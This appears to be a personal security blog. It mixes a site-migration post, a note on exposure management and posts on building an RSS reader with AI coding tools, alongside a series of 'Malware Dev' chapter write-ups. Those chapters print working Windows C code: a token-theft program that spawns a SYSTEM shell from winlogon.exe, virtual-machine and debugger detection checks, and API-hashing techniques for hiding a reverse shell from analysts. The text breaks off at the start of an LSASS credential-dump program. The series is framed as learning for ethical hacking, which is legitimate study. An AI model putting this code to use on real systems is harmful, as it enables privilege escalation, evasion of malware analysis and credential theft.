Eric's Blog

New Blog 2026

2026-05-17T20:36:00-04:00

This marks the debut of my redesigned blog. My prior blog was ran on Wordpress with multiple plugins for enhancing security: filtering spam, blocking malicious admin logins, filtering malicious comments, backup jobs, auto-update jobs, analytics, asynchronous password protection. Unfortunately with AI, search crawlers and legitimate users, it kept hitting the resource cap constantly and DoSing my site. I have years of emails from Wordpress that my blog was falling offline and it's due to too many concurrent sessions and php processes consuming resources.

Using Claude to help with the UI and migration, I have pulled all my images and blog posts from Wordpress, compressed and reformatted them, and converted into a static site. My hope is to now have 100% uptime and tightened security. The beauty of static sites means no external comments to moderate, no login panels or plugin updates, it's just pure HTML. It should also be lightning fast compared to the Wordpress site, as it needs to load significantly less external resources and has no database communications needed to present content.

I also was careful to ensure the URL scheme exactly matched Wordpress' format, so all the external links referencing certain blog posts will resolve as if there was only a fresh coat of paint applied and not a complete overhaul of the entire infrastructure.

There's currently no search functionality, but the Archives link in the sidebar will help list all articles chronilogically. I will investigate bringing some sort of search functionality back that will work with static sites.

Continuous Threat Exposure Management

2025-06-22T21:01:00-04:00

I recently earned a certificate in exposure management and here’s some of the key takeaways. Cyber teams now have a broad attack surface with assets ranging from on-prem to IoT and cloud solutions. Traditional vulnerability management simply can’t keep up. That’s where exposure management steps in: it combines threat context, asset criticality, and automated validation to focus your efforts on what really matters.

What Is Exposure Management? Introducing CTEM

Gartner coined Continuous Threat Exposure Management (CTEM) to describe a cyclical, risk-driven process involving five stages:

Scoping – Identify the attack surface and high-value assets

Discovery – Detect vulnerabilities, misconfigurations, identity gaps

Prioritization – Score exposures based on CVSS/EPSS, asset importance, and threat intel

Validation – Use BAS, pentesting, or attack simulations to confirm exploitability

Mobilization – Automate remediation workflows and measure outcomes

By 2026, Gartner predicts organizations embracing CTEM will be three times less likely to suffer a breach (source).

Building an Exposure Management Program

Let’s break down the five stages above into actionable steps:

1. Scoping & Asset Categorization

Group assets by business importance: External, Critical Infra, Legacy Define pilot domains (e.g., customer-facing servers)

2. Discovery & Filtering

Scan using a vulnerability scanner (Rapid7 / Tenable) or endpoint solution (Ivanti / Crowdstrike) to automatically find assets connected to the network

3. Risk Scoring

Merge CVSS/EPSS, threat intel (KEV), exploit availability, and asset criticality to create an overall exposure score

4. Validation

Trigger purple team / attack simulations against prioritized flaws to confirm attack paths, success of remediation and resiliency

5. Mobilization & Reporting

Auto-generate tickets with context and score Track KPIs: Mean Exposure Score, Time-to-remediate, patch coverage Governance: Align with NIST CSF / SP 800‑53 control objectives

Potential Accompanying Tools

External Attack Surface Management (EASM)
Exposure Assessment Platforms (EAP) – Contextual scanning, threat intel integration
Adversarial Exposure Validation (AEV) – BAS + automated red teaming

Evidence-Backed Enhancements

A recent academic model, Vulnerability Management Chaining, combines KEV, EPSS, and CVSS to reduce remediations by 95% while maintaining 85% threat coverage .(source)

Summary

It’s more important than ever to evolve existing vulnerability management programs into exposure management. The continual cycle of assessing risk based on business needs and criticality, alongside validation of risk using attack simulations, greatly improves the over security of the organization and puts you on a better path to prevent a breach.

Web Dev - RSS Reader App - 02

2025-03-29T21:45:22-04:00

GitHub: EricTurner3/simple-react-rss-reader

Drag and drop UI

I recently stumbled upon Cursor - The AI Code Editor. It essentially is VS Code powered by Claude for GPT enhancements. The unique thing about this AI is taht it has your entire multi-file codebase as context and can easily search and modify the code when a request is entered:

The issues I was having with Gemini or GPT-4o had to do with the fact it only had context from a single file. When changes needed to be made to another file, it seemed to lose context and then would start hallucinating variable names.
Here's another example where it used grep on my codebase for a specific function name, and then made changes in multiple files to support the new code:

Another powerful feature was lint validation. After making changes, it would do another pass to see if any lint was throwing validation warnings or errors and keep looping through as many files as it needed to in order to fix the issues. Thanks to Cursor, it seamlessly generated the backend files with a MongoDB connector. I also had it start over on the front end, hook up the front end to the backend (which it did via the api file) and implement drag and drop, which Gemini and GPT-4o both had issues with.

Cursor is a very cool application that can easily turn an idea into a fully functional web application without the user needing to edit much code at all. I still find it is very helpful to know how to read errors and read through some of the code yourself. I ended up getting stuck in an edit loop where Cursor was changing back and forth between using MongoDB's _id as a primary key and id as a primary and it would cause the APIs to 404. I had to specifically tell the AI to use _id for certain fields. I also had to specifically guide it to certain functions I found in source documents to help it implement, otherwise it had tried using deprecated functions or functionality that didn't work as intended.

Another super cool thing that only took about another two hours was converting the application into a containerized version. Now with a simple docker-compose up --build the application is ready to go out of the box to setup all dependencies and networking among the database, backend and frontend.

Web Dev - RSS Reader App - 01

2025-03-20T20:43:32-04:00

GitHub: EricTurner3/simple-react-rss-reader

I have a few goals with this project that I've already spent several hours on over the past few nights.

1. Testing out AI based tools for code generation and guidance

Gemini released the new Canvas tool a few days ago which immediately blew my mind. You can give it a prompt and it can not only generate the code but it can also show an interactable preview using mock data. It was very fascinating to me in how this was possible from the one page of code it displays. As I quickly found out if you set up a local project and copy paste the code, the code is either riddled with errors and/or it's missing a bunch of other things such as dependencies and other project files. I'm not quite sure how they are pulling off the front-end preview using just the code snippet provided, it took me several iterations and prompts to get a good template for just the App.tsx in my app. I spent several hours figuring out the best frontend framework and dependencies to get the app working. Some of the code it generates is calling libraries and components that aren't always documented, and I had to do a bit of research to figure out if they were real or imagined. Other times, the code is out of order. It calls a variable that is only set later on. Simply reordering the code in a function fixed some of the errors. Overall, there were just a bunch of little things that required me to prompt for more help to figure out what it was trying to do so I could fix it. I also relied on OpenAI's GPT-4o mini and VS Code's CoPilot to help assist to see if either of those models could help fix some of the errors.

Once the main application was built, I found that you can't ask Gemini to make small changes and keep going. The next iteration could completely change variable names or churn out a completely different application with similar parameters, as seen below. I wanted the number of unread items from an RSS feed to show as badges in the sidebar. I was under the impression it used prior context to continue the conversation, but it was not the case, and I instead got a chat message application.

I found when I wanted to explain and work on specific pieces of code, GPT-4o mini was much better at determining context and doing follow-up actions. But Gemini did a great job in getting most of the boilerplate, even though I had to go back through and fix a number of errors

2. Learning about the MERN / MEAN stack

During my time as a full-stack developer, I had built a custom PHP back-end framework that handled routing, database connections and so forth. I never had a true front-end framework such as React or Vue, and instead created my own templating engine using Bootstrap templates and injecting PHP into them. If I needed to reuse a card, I would have a card.php component that could be imported and called multiple times. It was very similar to React, but completely of my own design (and lacking in as nuanced of features and optimizations.

This stack is completely based in JavaScript for both front-end, React, and back-end, NodeJS / Express. When Gemini first created some of the code for the front end, I was immediately aware of my lack of knowledge in this framework. Items such as interfaces, presences and contexts that I was unaware how they functioned or related to each other. It's been a journey fixing the errors from AI generated code and having a multitude of tabs open to reference some of the dependencies to determine how things should be built. At one point I was trying to do a drag and drop system over multiple contexts and quickly realized that was far out of my scope and to instead just use arrows to move an item up or down an index or to another list was fine for me.

So far, I have a working alpha prototype (seen at the top of this page) that allows the end user to add RSS feeds, assign them to folders and mark items as read. There are still some bugs, and all data is currently only stored in local storage. Occasionally the feed list seems to wipe itself, it might be something to do with states or contexts that I'm not fully knowledgeable about yet.

3. Containerization

As I mentioned above, all data is stored in the local storage in the browser, which is not something I want to do. I'd like data to be stored in a database, so it persists if the browser is closed down or wiped. I don't currently have plans for any sort of multi-user authentication system or anything, as this project is purely meant to load from publicly available RSS Feeds. I also don't think it's helpful to have a full-stack project and then require an end user to have to run a bunch of commands to properly configure the backend and database. I have not built docker containers myself before, but I have used them from other open-source projects. My end goal is to have a full web app that can be ran from a simple docker compose command and immediately allow the user to add and save data into a MongoDB database as easy as possible. After that, we can look into any future enhancements.

Malware Dev – Chapter 07 – Anti-Disassembly Strategies

2025-03-15T19:12:23-04:00

Continued series from the Malware Development for Ethical Hackers Book.
GitHub repo: EricTurner3 – Malware_Development.

Opcode / Assembly Obfuscation

The main point of opcode obfuscation is to make it harder for the analyst to decompile the code. Other sources seem to refer to this as directly making changes to the assembly or binary in order to obfuscate. The book instead just adds junk code - code that runs a bunch of mathematical calculations but serves no other purpose - just to obfuscate. While I definitely see junk code as a method of obfuscation for a decompiler, I'm not sure it meets the actual definition of assembly obfuscation.

Nonetheless, using the reverse shell from Ch 1, a new function is added and called within main() to run a bunch of random math calculations. The author runs this code at the end of the program, after the reverse shell process has been created. I don't like this approach. Instead, I call this function first, and then also randomly again a few times during the reverse shell setup. Thus, if someone is line by line debugging with x64dbg, they have to go through a bunch of junk before seeing what really occurs. This should hopefully create a bunch of JMP instructions to keep breaking the debugger into doing math.

Reverse shell works fine. Throwing this into ghidra, not much really seems to be obfuscated by just adding extra function calls like this. It would be more useful to mask some of the strings or calls used to set up the reverse listener than the extra junk code.

I renamed the functions for main and junk. The true intent is still rather obvious, however it did take a bit to find this function as ghidra's entry point was not the actual main function.

Function Call Obfuscation

Because I never read the full chapter first and work step by step, this next section appears to fix some of the issues of the first obfuscation. Instead of directly calling functions from the ws2_32 library, we use function pointer types and GetProcAddress to dynamically load the proper functions.

At the top, use the windows app documentation to rebuild the function calls we want to use.

typedef int (WSAAPI *WSAStartup_t)(WORD, LPWSADATA);
typedef SOCKET (WSAAPI *WSASocket_t)(int, int, int, LPWSAPROTOCOL_INFO, GROUP, DWORD);
typedef int (WSAAPI *WSAConnect_t)(SOCKET, const struct sockaddr*, int, LPWSABUF, LPWSABUF, LPQOS, LPQOS);

Then in the main function, we use our definitions along with GetProcAddress to dynamically resolve the real function calls:

HMODULE hWS2_32 = LoadLibrary("ws2_32.dll");

WSAStartup_t st = (WSAStartup_t)GetProcAddress(hWS2_32, "WSAStartup");
WSASocket_t  so = (WSASocket_t)GetProcAddress(hWS2_32, "WSASocketA");
WSAConnect_t co = (WSAConnect_t)GetProcAddress(hWS2_32, "WSAConnect");

One other trick I performed was removing the hardcoded 4444 port but instead used a function to do a bunch of garbage math to return the port for later use:

int wow(){
  int number = 8888;
  int number2 = 6666;
  int number3 = 9999;

  number = number * 2;
  number = number / 4;

  number3 = number3 / 3;

  number2 = number * number3;
  number3 = number2 - number;

  return number;
}

Compiled and ran on the target machine, reverse shell pops fine.

Using Ghidra, we can see it is a bit more involved to reverse. The port is passed to htons, but it has to go into another function to determine what value this is. Using similar tactics of nesting all important strings in functions could help here:

Function Hashing

This chapter doesn't dive into the algorithm, but provides a PowerShell script that allows you to pass in the Win32 function name, such as CreateProcess, and it then returns a hash ID. This is further expanded upon in C code, with another function getAPIAddr to confirm if the hash matches the function address being searched. This function is not explained at this time.

However, it is used to replace the CreateProcess function call using a hashed value. I took this a step further and calculated hashes to the other WSAStartup, Socket, Connect functions and used the hashing here as well. The source code provided by the author tries to directly call (char *)"kernel32"which does not work for me. I needed to use LoadLibrary and also ensure #include <windows.h> was at the top.

As a side note, I have also seen this before during my Lovely Malware reverse engineering.

After using API hashing for several of the main functions, our reverse shell connects fine like usual.

Opening up Ghidra, things are definitely looking much more complicated. While it is apparent which libraries are being called, the functions themselves are not apparent:

If we continued to do this for other functions such as htons and inet_addr, and started to obfuscate or encrypt strings, it would really be a perfect example of full obfuscation.

Crashing Malware Analysis Tools

This section uses a recursive function with the intent to break decompilers by running out of memory.

Running this in x32dbg shows the stack overflow, but does not crash the debugger itself:

However in this instance, I wasn't able to get a reverse shell either. The exe crashes. Lowering the number down even to 250000 from 1000000 has no effect and still causes a crash.

Conclusion

This chapter was interesting. The section I liked the best was the API hashing technique that can be used to mask API calls from a decompiler and require more advanced analysis to reverse. I have seen malware use this approach before where every single call is an API hash. The best reversal technique for that was to have Ghidra on one side and x64dbg on the other and wait to see what library eventually gets loaded once the relevant code appears. Then, the function can be properly renamed to give a better sense of what is going on. It definitely creates a lot more work for the malware analyst to decipher though.

Malware Dev – Chapter 06 – Anti-VM Strategies

2025-02-15T19:51:53-05:00

Continued series from the Malware Development for Ethical Hackers Book.
GitHub repo: EricTurner3 – Malware_Development.

Filesystem Detection Techniques

VirtualBox Machine Detection

The book showcases 8 different files to test for a VirtualBox, however, the sample code only checks for 2/8 files. I created a modified source code that uses an array to check for all of these and print out if one is detected.

/*
    Anti-VM - VirtualBox File Detect
    15 Feb 2025
    Eric

    To build: x86_64-w64-mingw32-g++ -O2 06_vbox_file_detect.c -o VBoxFile.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

*/

#include <windows.h>
#include <stdio.h>

BOOL checkVM() {
  // Paths to check
  const char* paths[] = {
    "c:\\windows\\system32\\drivers\\VBoxMouse.sys",
    "c:\\windows\\system32\\drivers\\VBoxGuest.sys",
    "c:\\windows\\system32\\drivers\\VBoxSF.sys",
    "c:\\windows\\system32\\drivers\\VBoxVideo.sys",
    "c:\\windows\\system32\\vboxdisp.dll",
    "c:\\windows\\system32\\vboxhook.dll",
    "c:\\windows\\system32\\vboxservice.exe",
    "c:\\windows\\system32\\vboxtray.exe"
  };

  // placeholder, default to FALSE
  BOOL vm_detected = FALSE;

  // loop through the filepaths to see if any exist
  for (size_t i = 0; i < (sizeof(paths) / sizeof(paths[0])); ++i){
    DWORD attributes = GetFileAttributes(paths[i]);
    if (attributes != INVALID_FILE_ATTRIBUTES && !(attributes & FILE_ATTRIBUTE_DIRECTORY)){
      printf("VirtualBox File Found: %s \n", paths[i]);
      vm_detected = TRUE;
      break;
    }
  }
    return vm_detected;

}
int main() {
  if (checkVM()) {
    printf("The system appears to be a virtual machine.\n");
  } else {
    printf("The system does not appear to be a virtual machine.\n");
  }
  return 0;
}

Hardware Detection

The book uses some sample code to check the HDD Vendor ID to detect for Virtual Machine. I think this approach is not useful, as my VM did not have a \\PhysicalDrive0, it has a HarddiskVolume1 similar to my non-VM Windows machine. The sample code ended up failing on my VM and stated it was not a virtual machine.

Time Detection

The book uses NTDelayExecution and capturing the before / after time to determine if it slept the appropriate amount of milliseconds. The example uses 800ms > time < 1000ms to detect. On my actual machine, it nailed 1000ms on the dot, but was still marked as a virtual machine. Setting it to 1000 ms > time < 1000ms tightens the execution to perfect. The VM runs at 1031ms. I'm curious if a slower or much older computer would end up triggering as a VM as well.

Registry Detection

This example checks for the existence of registry keys and checks if the value equals something in particular. This is what I was referring to earlier in Hardware Detection, we are able to check for System Product Name or BiosVersion to detect VirtualBox. I removed the payload from my example and defaulted back to simple message boxes again.

/*
 Anti-VM - Registry Detect
 15 Feb 2025
 Eric
 x86_64-w64-mingw32-g++ -O2 06_registry.c -o VMRegistry.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

int checkRegistryKey(HKEY rootKey, char* subKeyName) {
  HKEY registryKey = NULL;
  LONG result = RegOpenKeyExA(rootKey, subKeyName, 0, KEY_READ, &registryKey);
  if (result == ERROR_SUCCESS) {
    RegCloseKey(registryKey);
    return TRUE;
  }
  return FALSE;
}

int compareRegistryKeyValue(HKEY rootKey, char* subKeyName, char* registryValue, char* comparisonValue) {
  HKEY registryKey = NULL;
  LONG result;
  char value[1024];
  DWORD size = sizeof(value);
  result = RegOpenKeyExA(rootKey, subKeyName, 0, KEY_READ, &registryKey);
  if (result == ERROR_SUCCESS) {
    RegQueryValueExA(registryKey, registryValue, NULL, NULL, (LPBYTE)value, &size);
    if (result == ERROR_SUCCESS) {
      if (strcmp(value, comparisonValue) == 0) {
        return TRUE;
      }
    }
  }
  return FALSE;
}

int main(int argc, char* argv[]) {
  HANDLE processHandle; // Process handle
  HANDLE remoteThread;  // Remote thread
  PVOID remoteBuffer;   // Remote buffer

  if (checkRegistryKey(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\FADT\\VBOX__")) {
    printf("VirtualBox VM registry path value detected\n");
    MessageBox(NULL, "Virtual Machine Detected", "Program", MB_OK);
    return -2;
  }

  if (compareRegistryKeyValue(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\SystemInformation",
    "SystemProductName", "VirtualBox")) {
    printf("VirtualBox VM registry key value detected\n");
    MessageBox(NULL, "Virtual Machine Detected", "Program", MB_OK);
    return -2;
  }

  if (compareRegistryKeyValue(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\SystemInformation",
    "BiosVersion", "VirtualBox")) {
    printf("VirtualBox VM BIOS version detected\n");
    MessageBox(NULL, "Virtual Machine Detected", "Program", MB_OK);
    return -2;
  }

  MessageBox(NULL, "Running Hack", "Program", MB_OK);
  return 0;
}

Conclusion

There were some interesting techniques for virtual machine detection. Most of these seemed very rudimentary to be able to evade. I am curious what detections could be used that aren't as easy to defeat but still promote high accuracy.

Malware Dev - Chapter 05 - Anti-Debugging Tricks

2025-01-29T02:57:57-05:00

Continued series from the Malware Development for Ethical Hackers Book.
GitHub repo: EricTurner3 – Malware_Development.

Detecting Debugger

IsDebuggerPresent()

/*
    Anti-Debugging - Check for Debugger
    28 Jan 2025
    Eric

    To build: x86_64-w64-mingw32-gcc 05_debugger_present.c -o DebugCheck.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

int main() {
  // Check if a debugger is present
  if (IsDebuggerPresent()) {
    MessageBox(NULL, "New Message", "Nothing to see here", MB_OK);
    return 1;  // exit if a debugger is present
  }
  MessageBox(NULL, "Hack", "Hacking mainframe...", MB_OK);
  return 0;
}

comparison of running the exe directly vs running in a debugger

Sample code using the IsDebuggerPresent() check. I simplified my version over what was in the book. It is also important to note that I ahve plugins in my x64dbg, including ScyllaHide. ScyllaHide has a bunch of options to fake the flags for debug checks to prevent the application from truly telling if it is being debugged. I had to disable all options for it to properly work:

CheckRemoteDebuggerPresent()

A slight modification to the debug check script to useCheckRemoteDebuggerPresent API call instead for detecting a debugger:

/*
    Anti-Debugging - Check for RemoteDebugger
    28 Jan 2025
    Eric

    To build: x86_64-w64-mingw32-gcc 05_debugger_present_remote.c -o RemoteDebugCheck.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

int main() {
  BOOL HasDebugPort = FALSE;
  // Check if a debugger is present
  // https://unprotect.it/technique/checkremotedebuggerpresent/
  if (CheckRemoteDebuggerPresent(GetCurrentProcess(), &HasDebugPort)) {
    MessageBox(NULL, "New Message", "Nothing to see here", MB_OK);
    return 1;  // exit if a debugger is present
  }
  MessageBox(NULL, "Hack", "Hacking mainframe...", MB_OK);
  return 0;
}

Breakpoint Checksum

This use case did not make a lot of sense to me purely going off of the information provided in the book. It turns out that this code appears to be copied from elsewhere. Here is the same example on Unprotect.it, which links back to the original article from Apriorit.

Essentially, set up our important function that should have integrity and use a stub function to determine the end of that function. We then compile and execute the program to determine the original CRC of our function. Hardcode this value into the source code so that if the code is modified via debugging or a breakpoint, it will fail the checksum and can terminate or escape the main logic.

/*
    Anti-Debugging - Breakpoint Detection / Checksum
    28 Jan 2025
    Eric

    To build: x86_64-w64-mingw32-g++ -O2 05_func_checksum.c -o Breakpoint.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi 

*/

#include <windows.h>
#include <stdio.h>

DWORD CalcFuncCrc(PUCHAR funcBegin, PUCHAR funcEnd) {
  DWORD crc = 0;
  for (; funcBegin < funcEnd; ++funcBegin) {
    crc += *funcBegin;
  }
  return crc;
}

// prevent compiler from making functions embedded
#pragma auto_inline(off)
VOID DebuggeeFunction() {
  printf("Hello World");
}

VOID DebuggeeFunctionEnd() {}; // stub function trick to detect end of our func we are calculating crc of

#pragma auto_inline(on)

// to calculate this value, the program needs compiled and executed
// monitor the output of the crc in the console, and update the value here
// thus, if the code is modified in anyway
// then the crc no longer will match and it will flag
// one example is a breakpoint, which injects an int 3h / 0xCC opcode into the function
// this would destroy the integrity of the checksum
DWORD g_origCrc = 0x4db; 

int main() {
  DWORD crc = CalcFuncCrc((PUCHAR)DebuggeeFunction, (PUCHAR)DebuggeeFunctionEnd);
  printf("crc: 0x%x (%ld)", crc, crc);
  if (g_origCrc != crc) {
    MessageBox(NULL, "Breakpoint detected", "Debug Check", MB_OK);
    return -1;
  }
  MessageBox(NULL, "Running as usual", "Debug Check", MB_OK);
  return 0;
}

I added my own printf statement into this to illustrate where the CRC comes from, as my CRC is different than the one from the book and the original author. Once this value is displayed, I can add it back to the code to re-compile and now my check shows running as usual.

In order to trigger the breakpoint check, we need to find the actual DebuggeeFunction and place a breakpoint exactly inside of this. I found the original code to be too tricky to find the breakpoint, so I modified it to print a string, and was able to easily find the string reference to place a breakpoint. Now we can see the comparison of running it directly, vs the debugger with the breakpoint:

normal operation vs breakpoint

Flags & Artifacts

NTGlobalFlag

NTGlobalFlag is part of the Process Environment Block. If a debugger is the parent process, additional flags are set, vs if the debugger is attached later on.

/*
    Anti-Debugging - Check NTGlobalFlag
    28 Jan 2025
    Eric

    To build: x86_64-w64-mingw32-gcc 05_flag_ntglobal.c -o ntglobal_flag.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
*/

#include <winternl.h>
#include <intrin.h>
#include <windows.h>
#include <stdio.h>
#define FLG_HEAP_ENABLE_TAIL_CHECK   0x10
#define FLG_HEAP_ENABLE_FREE_CHECK   0x20
#define FLG_HEAP_VALIDATE_PARAMETERS 0x40
#define NT_GLOBAL_FLAG_DEBUGGED (FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK | FLG_HEAP_VALIDATE_PARAMETERS)
DWORD checkNtGlobalFlag() {
  PPEB ppeb = (PPEB)__readgsqword(0x60);
  DWORD myNtGlobalFlag = *(PDWORD)((PBYTE)ppeb + 0xBC);
  MessageBox(NULL, myNtGlobalFlag & NT_GLOBAL_FLAG_DEBUGGED ? "Debugger Active" : "Debugger Inactive", "Debug Check", MB_OK);
  return 0;
}
int main(int argc, char* argv[]) {
  DWORD check = checkNtGlobalFlag();
  return 0;
}

Compiling the code and executing provides the following two scenarios:

inactive / active debugger status

Process Debug Flags

There is an undocumented class named ProcessDebugFlags that when passed to the NtQueryInformationProcess function, returns information on if a debugger is present. See another example here.

/*
    Anti-Debugging - Check NTQuery ProcessDebugFlag
    28 Jan 2025
    Eric

    To build: x86_64-w64-mingw32-gcc 05_flag_ntquery.c -o ntquery_flag.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
*/

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <stdbool.h>

typedef NTSTATUS(NTAPI *fNtQueryInformationProcess)(
  IN HANDLE           ProcessHandle,
  IN DWORD            ProcessInformationClass,
  OUT PVOID           ProcessInformation,
  IN ULONG            ProcessInformationLength,
  OUT PULONG          ReturnLength
);

// Function to check if a debugger is present
bool DebuggerCheck() {
  BOOL result;
  DWORD rProcDebugFlags;
  DWORD returned;
  const DWORD ProcessDebugFlags = 0x1f; // not documented in below link
  HMODULE nt = LoadLibraryA("ntdll.dll");
  // https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess
  fNtQueryInformationProcess myNtQueryInformationProcess = (fNtQueryInformationProcess)
  GetProcAddress(nt, "NtQueryInformationProcess");
  myNtQueryInformationProcess(GetCurrentProcess(), ProcessDebugFlags,
    &rProcDebugFlags, sizeof(DWORD), &returned);
  if (0 == rProcDebugFlags){
    MessageBox(NULL, "Debugger Detected", "Program", MB_OK);
    return 1;  // exit if a debugger is present
  }
  return result;
}

// Function that simulates the main functionality
void hack() {
  MessageBox(NULL, "Malicious Code", "Program", MB_OK);
}

int main() {
  // Check if a debugger is present
  DebuggerCheck();
  // Main functionality
  hack();
  return 0;
}

I modified the code a bit to be more inline with the other example from Checkpoint. It presents like the prior example, as follows:

Summary

A very interesting chapter into several anti-debugging techniques. I had to do some searching on external resources as some of the book content did not feel very well explained to me. However, it still included some very interesting techniques. From the profile information in ScyllaHide in my x64dbg, it appears all of these techniques can easily be masked in order to allow the application to continue without needing to manually step through the code and disable any debugger checks.

Malware Dev - Chapter 04 - Privilege Escalation

2025-01-25T19:25:23-05:00

Continued series from the Malware Development for Ethical Hackers Book.
GitHub repo: EricTurner3 – Malware_Development.

This chapter contains methods to achieve persistence of malware in Windows.

Manipulating Access Tokens

Token Theft

The book provides a great demonstration of C code where the end user can pass a PID and it attempts to grab the token for that process and then opens up mspaint.exe with those privileges. I made a few adjustments. My code takes a snapshot of all running processes, searches for a specific process (in this case winlogon.exe, which should always be running as NT AUTHORITY\SYSTEM, automatically grabs the PID and then spawns a command shell with elevated permissions. In this instance, the local admin account needs to run the executable, which then is able to escalate further to SYSTEM. I attempted to run from a non-elevated account, and it fails to properly grab the privilege.

/*
    PrivEsc - Token Theft
    23 Jan 2025
    Eric

    To build: x86_64-w64-mingw32-gcc 04_token_theft.c -o RunAsAdmin.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
*/

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

const char *processToSteal = "winlogon.exe"; // process to find to attempt to take 
LPWSTR processToCreate = L"C:\\Windows\\System32\\cmd.exe"; // new process to create with the stolen token

// my custom code, find a specific process
DWORD findProcess(const char *procName) {
    HANDLE hProcessSnap;
    PROCESSENTRY32 pe32;
    DWORD winlogonPID = 0;

    // Take a snapshot of all processes in the system.
    // https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE) {
        return 0;
    }

    pe32.dwSize = sizeof(PROCESSENTRY32);

    // Retrieve information about the first process.
    if (Process32First(hProcessSnap, &pe32)) {
        do {
            // Check if the process name matches (0 indicates identical)
            if (_stricmp(pe32.szExeFile, procName) == 0) {
                winlogonPID = pe32.th32ProcessID;
                break; // Exit the loop once we find the process
            }
        } while (Process32Next(hProcessSnap, &pe32));
    }

    // Clean up the snapshot object.
    CloseHandle(hProcessSnap);
    return winlogonPID;
}

// set privilege
BOOL setPrivilege(LPCTSTR priv) {
    HANDLE token;
    TOKEN_PRIVILEGES tp;
    LUID luid;
    BOOL res = TRUE;

    // takes the name of the privilege from arg and attempts to find it in system
    // https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-lookupprivilegevaluew   
    if (!LookupPrivilegeValue(NULL, priv, &luid)) res = FALSE;

    // attempt to open the proc token with the ability to adjust privs
    // https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocesstoken
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &token)) res = FALSE;

    // create a new token priv object and enable the privilege
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    // use the token priv object to enable the privilege
    // https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-adjusttokenprivileges
    if (!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) res = FALSE;

    // cleanup
    CloseHandle(token);
    printf(res ? "privilege enabled %s\n" : "failed to enable privilege %s \n", priv);
    return res;
}

// get access token
HANDLE getToken(DWORD pid) {
  HANDLE cToken = NULL;
  HANDLE ph = NULL;
  if (pid == 0) {
    ph = GetCurrentProcess();
  } else {
    ph = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, TRUE, pid);
  }
  if (!ph) cToken = (HANDLE)NULL;
  printf(ph ? "successfully get process handle :)\n" : "failed to get process handle :(\n");
  BOOL res = OpenProcessToken(ph, MAXIMUM_ALLOWED, &cToken);
  if (!res) cToken = (HANDLE)NULL;
  printf((cToken != (HANDLE)NULL) ? "successfully get access token :)\n" : "failed to get access token :(\n");
  return cToken;
}

// create process
BOOL createProcess(HANDLE token, LPCWSTR app) {
    HANDLE dToken = NULL;
    STARTUPINFOW si;
    PROCESS_INFORMATION pi;
    BOOL res = TRUE;
    ZeroMemory(&si, sizeof(STARTUPINFOW));
    ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
    si.cb = sizeof(STARTUPINFOW);

    // copy the arg access token and make a new access token with max allowed perms
    // https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetokenex
    res = DuplicateTokenEx(token, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &dToken);
    printf(res ? "process token duplicated\n" : "failed to duplicate process token\n");

    // attempt to create the new process with token
    // https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw
    res = CreateProcessWithTokenW(dToken, LOGON_WITH_PROFILE, app, NULL, 0, NULL, NULL, &si, &pi);
    printf(res ? "process created\n" : "failed to create process\n");
    return res;
}

int main(int argc, char** argv) {
  if (!setPrivilege(SE_DEBUG_NAME)) return -1;
  DWORD pid = findProcess(processToSteal); // take snapshot and find a specific process
  HANDLE cToken = getToken(pid); // attempt to get token
  if (!createProcess(cToken, processToCreate)) return -1;
  return 0;
}

Password Stealing

It appears I was a bit ahead of the curve in the last section, as this topic now introduces scanning for a process. We can re-use a lot of our existing code from the token theft, including the findProcess and setPriv functions. Initiallly, I was not getting the dump file generated. I determined the path must exist, otherwise CreateFileW cannot create a new dir, only the file. I added some extra printf statements for debugging in generateMiniDump().

/*
    PrivEsc - LSASS Dump
    23 Jan 2025
    Eric

